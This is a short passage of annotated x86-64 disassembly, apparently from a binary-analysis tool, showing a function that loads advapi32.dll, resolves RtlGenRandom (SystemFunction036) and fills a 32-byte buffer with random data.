mov byte [rax + 0xb], cl
mov rax, qword [rsp + 0x38]
add rsp, 0x58
ret

Function at 0x140026950
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x38
cmp qword [0x140113030], 0
jne 0x1400269ad
xor r8d, r8d
xor edx, edx
lea rcx, str.advapi32.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140026986
xor eax, eax
jmp 0x1400269e6
lea rdx, str.SystemFunction036
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140113030], rax
cmp qword [0x140113030], 0
jne 0x1400269ad
xor eax, eax
jmp 0x1400269e6
mov rax, qword [rsp + 0x40]
mov edx, 0x20
mov rcx, rax
call qword [0x140113030]
movzx eax, al
test eax, eax
je 0x1400269c9
jmp 0x1400269cd
xor eax, eax
jmp 0x1400269e6
mov rcx, qword [rsp + 0x40]
call fcn.140026da0
mov rcx, qword [rsp + 0x40]
call fcn.140026a00
mov eax, 1
add rsp, 0x38
ret